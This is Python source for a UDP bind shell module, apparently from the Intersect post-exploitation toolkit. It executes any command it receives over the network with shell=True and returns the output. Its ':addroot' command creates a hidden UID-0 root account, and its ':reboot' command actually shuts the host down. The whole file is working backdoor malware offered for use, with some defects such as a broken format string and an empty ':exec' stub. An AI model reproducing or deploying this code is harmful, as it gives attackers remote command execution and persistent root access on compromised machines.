
def udpbind():
    '''
    @description: starts a UDP bind shell on port 21541. interactive shell access with additional Intersect commands. use the UDP-Client in Shell/ to connect.
    @author: ohdae [bindshell@live.com]
    @short: UDP bind shell
    '''

    host = "127.0.0.1"
    port = 21541
    buf = 1024
    addr = (host,port)

# Create socket and bind to address
    UDPSock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    UDPSock.bind(addr)
    log_msg("\n\n [ UDP Bindshell module executed ]")
    log_msg("\n Start Time: %s" % logtime)

    while 1:
        data,addr = UDPSock.recvfrom(buf)
        proc = Popen(data,
               shell=True,
              stdout=PIPE,
              stderr=PIPE,
               stdin=PIPE,
                )
        stdout, stderr = proc.communicate()

        if data == ":killme":
            (UDPSock.sendto("[!] Closing connection!", addr))
            UDPSock.close()
            sys.exit(0) 

        elif data.startswith("cd"):
            destination = data[3:].replace('\n','')
            if os.path.isdir(destination):
                os.chdir(destination)
                (UDPSock.sendto("\nCurrent Directory: "+str(os.getcwd()), addr))
            else:
                (UDPSock.sendto("[!] Directory does not exist", addr)) 
                (UDPSock.sendto("\nCurrent Directory: "+str(os.getcwd()), addr))

        elif data.startswith(":addroot"):
            strip = data.split(" ")
            acct = strip[1]
            os.system("/usr/sbin/useradd -M -o -s /bin/bash -u 0 -l " + acct)
            (UDPSock.sendto("[+] Root account " + acct + " has been created.", addr))

        elif data.startswith(":temp"):
            os.system("cd %s" % Temp_Dir)
            (UDPSock.sendto("\nCurrent Directory: "+str(os.getcwd()), addr))

        elif data == ":mods":
            (UDPSock.sendto("[+] Currently loaded modules:\n %s " % (modList, addr)))

        elif data.startswith(":exec"):
            pass   

        elif data.startswith(":reboot"):
            (UDPSock.sendto("[+] System going down for reboot!", addr))
            os.system("shutdown -h now")

        elif proc:
            (UDPSock.sendto(stdout,addr))
		

    UDPSock.close()
